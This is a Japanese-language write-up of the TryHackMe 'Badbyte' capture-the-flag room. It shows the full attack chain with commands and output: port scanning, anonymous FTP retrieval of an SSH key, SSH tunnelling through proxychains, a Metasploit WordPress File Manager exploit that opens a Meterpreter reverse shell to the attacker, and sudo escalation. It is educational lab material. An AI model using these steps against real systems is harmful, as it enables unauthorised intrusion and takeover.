はじめに
本記事はTryHackMeのWriteupです。
RoomはBadbyte、Difficulty(難易度)はEasyです。
Badbyteは一般的なハッキングフローの流れに沿って、偵察行為を皮切りに発見したサービスの脆弱性を特定します。脆弱性特定後、Metasploit Frameworkを用いて管理者権限を取得します。
このRoomでは、ポートフォワーディングを用いてローカルで稼働するWebサーバーにアクセスする方法について学ぶことができます。
Deploy the machine以降のTaskについて解説していきます。
Reconnaissance
はじめに偵察行為から行います。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。
ポートスキャン
空いているポートを特定するためにはNmapを使用します。
以下の例では、ポートで実行されているサービスのバージョンを確認するため、-sV
オプションを使用してポートスキャンを実行しています。
$ sudo nmap -sV -p- -vv <IP address>
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 23:38 JST
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 23:38
Scanning 10.10.134.20 [4 ports]
Completed Ping Scan at 23:38, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:38
Completed Parallel DNS resolution of 1 host. at 23:38, 0.01s elapsed
Initiating SYN Stealth Scan at 23:38
Scanning 10.10.134.20 [65535 ports]
Discovered open port 22/tcp on 10.10.134.20
SYN Stealth Scan Timing: About 14.30% done; ETC: 23:42 (0:03:06 remaining)
SYN Stealth Scan Timing: About 17.37% done; ETC: 23:44 (0:04:50 remaining)
SYN Stealth Scan Timing: About 37.25% done; ETC: 23:42 (0:02:33 remaining)
Discovered open port 30024/tcp on 10.10.134.20
SYN Stealth Scan Timing: About 64.98% done; ETC: 23:41 (0:01:05 remaining)
Completed SYN Stealth Scan at 23:41, 144.25s elapsed (65535 total ports)
Initiating Service scan at 23:41
Scanning 2 services on 10.10.134.20
Completed Service scan at 23:41, 0.49s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.134.20.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
Nmap scan report for 10.10.134.20
Host is up, received reset ttl 61 (0.24s latency).
Scanned at 2023-07-19 23:38:37 JST for 145s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
30024/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.27 seconds
Raw packets sent: 66415 (2.922MB) | Rcvd: 65674 (2.627MB)
ポートスキャンの結果から30024番ポートを使用したvsftpdの稼働が確認できます。
上記検出結果を使用してこのタスクは解決できます。
Foothold
ポートスキャンの結果を踏まえて、vsftpdのサービスを確認します。
列挙
以下のコマンドを実行して、匿名ユーザーを使用してFTPに接続します。
$ftp <IP adress> 30024
Connected to 10.10.134.20.
220 (vsFTPd 3.0.3)
Name (10.10.134.20:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp接続後、ls
コマンドを実行すると、以下ファイルが確認できます。
ftp> ls
229 Entering Extended Passive Mode (|||49682|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 1743 Mar 23 2021 id_rsa
-rw-r--r-- 1 ftp ftp 78 Mar 23 2021 note.txt
226 Directory send OK.
上記ファイルをダウンロード後、note.txt
の情報を確認します。
また、id_rsa
に対してJohn the Ripperを実行します。
Port Forwarding
偵察行為の結果を利用して、対象サーバにSSHログインができるようになりました。
しかし、まだ攻撃対象のマシンには他のサービスが稼働しているようです。
本タスクでは他のサービスを特定するために、proxychainsを用いて更なるポートスキャンを行います。
proxychainsは、特定のアプリケーションによって行われるTCP接続を強制的にTORなどのプロキシや、SOCKS4、SOCKS5、またはHTTP(S)プロキシを経由させるためのツールです。
proxychainsを利用することで、複数のネットワークセグメントを経由した接続ができます。
このタスクでは、proxychainsを利用してローカルで稼働しているWebサーバにアクセスします。
proxychains
SSHを使用して動的ポート転送を設定します。
$ ssh -i id_rsa <User name>@<IP adress> -D 1337
The authenticity of host '10.10.134.20 (10.10.134.20)' can't be established.
ED25519 key fingerprint is SHA256:STfSircXTndy96+rP+DhdzypBYQbjn+n8C2IReY/Vl4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.134.20' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
/etc/proxychains.conf
を編集します。
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1337
proxychainsと、nmapを実行してサーバー上の内部ポートを列挙します。
proxychains nmap -sT 127.0.0.1
上記コマンドを実行すると、以下のような出力が行われます。
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 23:50 JST
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:139 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:8888 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:3306 ... OK
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:113 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:587 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:1723 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:445 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:199 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:256 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:995 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:1720 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:21 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:53 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:3389 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:5900 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1337 ... 127.0.0.1:22 ... OK
コマンド終了後、スキャン結果を確認すると、localhostでリッスンしているサービスが確認できます。
Nmap scan report for localhost (127.0.0.1)
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 240.08 seconds
Webサーバのポートを確認後、SSHの-L
オプションを使用して、ローカルポート転送を実行します。
$ ssh -i id_rsa -L <Local port>:127.0.0.1:<Remote port> <User name>@<IP adress>
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-139-generic x86_64)
80番ポートに対する外部からのアクセスは、ファイアウォールによってブロックされています。SSHの動的ポート転送設定と、proxychainsを利用して80番ポートに接続できるトンネル(仮想ポート)を作成できます。従って攻撃者はトンネルを使用して、ローカルで稼働するWebサーバに接続できます。
Web Exploitation
対象のWebアプリケーションを分析すると、CMSとしてWordpressを使用していることが確認できます。
以下のコマンドを実行して、Wordpressに関する脆弱なプラグインを検出します。
$ sudo nmap 127.0.0.1 -p <Local port> --script http-wordpress-enum --script-args type="plugins",search-limit=1500 -vv
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 23:59 JST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Initiating SYN Stealth Scan at 23:59
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 80/tcp on 127.0.0.1
Completed SYN Stealth Scan at 23:59, 0.04s elapsed (1 total ports)
NSE: Script scanning 127.0.0.1.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 23:59
Completed NSE at 23:59, 20.67s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up, received localhost-response (0.000023s latency).
Scanned at 2023-07-19 23:59:03 JST for 21s
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
| http-wordpress-enum:
| Search limited to top 1500 themes/plugins
| plugins
| duplicator 1.3.26
|_ wp-file-manager 6.0
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds
Raw packets sent: 1 (44B) | Rcvd: 2 (88B)
上記検出結果を踏まえて、Wordpressに関する脆弱なプラグインのCVEを調査します。
エクスプロイトの探索
msfconsole
を起動し、search
コマンドを使用して脆弱性のあるプラグインを検索します。
Metasploit Frameworkについては、以前書いた脆弱性とエクスプロイトについて理解するに基本的な使用方法を記載しています。
msf6 > search wp-file-manager
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_file_manager_rce 2020-09-09 normal Yes WordPress File Manager Unauthenticated Remote Code Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_file_manager_rce
use
コマンドを使用して、モジュールをロードします。
$ use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_file_manager_rce) >
show options
コマンドで必要なオプションを確認して設定します。
$ set rhost 127.0.0.1
$ set rpot <Local port>
$ set lhost <attacker's IP address>
エクスプロイトを実行後、以下のような出力が表示されてmeterpreterのプロンプトが表示されることを確認します。
msf6 exploit(multi/http/wp_file_manager_rce) > run
[*] Started reverse TCP handler on 10.2.0.132:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] 127.0.0.1:80 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/m51Xgq.php
[*] Sending stage (39927 bytes) to 10.10.134.20
[+] Deleted m51Xgq.php
[*] Meterpreter session 1 opened (10.2.0.132:4444 -> 10.10.134.20:38306) at 2023-07-20 00:07:40 +0900
meterpreter >
getuid
コマンドを実行すると、ホスト上で実行されているユーザーが確認できます。
meterpreter > getuid
Server username: cth
Privilege Escalation
ルートフラグを取得するために、権限昇格を行います。
権限昇格
タスクの説明を読むと、ログファイルにヒントがありそうです。
meterpreterからshell
コマンドを実行し、ターゲット システム上の標準シェルを起動します。
meterpreter > shell
Process 1599 created.
Channel 0 created.
シェル起動後、ユーザーの古いパスワードを調査するために、/var/log
ディレクトリ以下のログファイルを確認します。よく見ると、怪ししそうなファイルの存在が確認できます。
total 3432
-rw-r--r-- 1 root root 29056 Mar 23 2021 alternatives.log
drwx------ 3 root root 4096 Mar 23 2021 amazon
drwxr-x--- 2 root adm 4096 Mar 23 2021 apache2
drwxr-xr-x 2 root root 4096 Mar 23 2021 apt
-rw-r----- 1 syslog adm 52206 Jul 19 15:09 auth.log
-rw-r--r-- 1 root root 708 Mar 23 2021 aws114_ssm_agent_installation.log
-rw-r--r-- 1 cth cth 1874 Mar 23 2021 bash.log
-rw-r--r-- 1 root root 56751 Aug 6 2020 bootstrap.log
-rw-rw---- 1 root utmp 1536 Mar 23 2021 btmp
-rw-r--r-- 1 root root 21695 Jul 19 14:13 cloud-init-output.log
-rw-r--r-- 1 syslog adm 420318 Jul 19 14:13 cloud-init.log
drwxr-xr-x 2 root root 4096 Jul 9 2020 dist-upgrade
-rw-r--r-- 1 root root 699868 Mar 23 2021 dpkg.log
-rw-r--r-- 1 root root 32064 Mar 23 2021 faillog
drwxr-xr-x 3 root root 4096 Mar 22 2021 installer
drwxr-sr-x+ 3 root systemd-journal 4096 Mar 22 2021 journal
-rw-r----- 1 syslog adm 883556 Jul 19 14:12 kern.log
drwxr-xr-x 2 landscape landscape 4096 Mar 22 2021 landscape
-rw-rw-r-- 1 root utmp 292584 Jul 19 14:56 lastlog
drwxr-x--- 2 mysql adm 4096 Mar 23 2021 mysql
-rw-r----- 1 syslog adm 1144981 Jul 19 15:09 syslog
-rw------- 1 root root 64128 Mar 23 2021 tallylog
drwxr-x--- 2 root adm 4096 Mar 22 2021 unattended-upgrades
-rw------- 1 root root 685 Mar 23 2021 vmware-network.1.log
-rw------- 1 root root 705 Mar 23 2021 vmware-network.2.log
-rw------- 1 root root 685 Mar 23 2021 vmware-network.3.log
-rw------- 1 root root 705 Mar 23 2021 vmware-network.4.log
-rw------- 1 root root 685 Mar 23 2021 vmware-network.5.log
-rw------- 1 root root 705 Mar 23 2021 vmware-network.6.log
-rw------- 1 root root 685 Mar 23 2021 vmware-network.7.log
-rw------- 1 root root 705 Mar 23 2021 vmware-network.log
-rw------- 1 root root 2168 Mar 23 2021 vmware-vmsvc-root.1.log
-rw------- 1 root root 2168 Mar 23 2021 vmware-vmsvc-root.2.log
-rw------- 1 root root 2168 Mar 23 2021 vmware-vmsvc-root.3.log
-rw------- 1 root root 2168 Mar 23 2021 vmware-vmsvc-root.log
-rw------- 1 root root 1024 Mar 23 2021 vmware-vmtoolsd-root.log
-rw------- 1 root root 920 Jul 19 14:44 vsftpd.log
-rw-rw-r-- 1 root utmp 35328 Jul 19 14:56 wtmp
ユーザーの古いパスワード確認後、ルートフラグを取得するためには、管理者権限が必要です。
試しにsudo
コマンドを実行すると、以下のようなメッセージが出力されます。
従ってターミナルにttyが存在しないか、パスワード入力プロンプトを表示するプログラムが設定されていない可能性が考えられます。
sudo su -
sudo: no tty present and no askpass program specified
対応として、-S
オプションを付与することで、端末デバイスを使用する代わりに標準入力からパスワードを読み取るようにします。
sudo -S su
[sudo] password for cth:
最後はタスクの説明を参考にすることで、ルートフラグを取得できます。
おわりに
以上、BadbyteのWriteupでした。
ポートフォワーディングの仕組みを学ぶことができ、Linuxの知識も必要になるため、面白いルームです。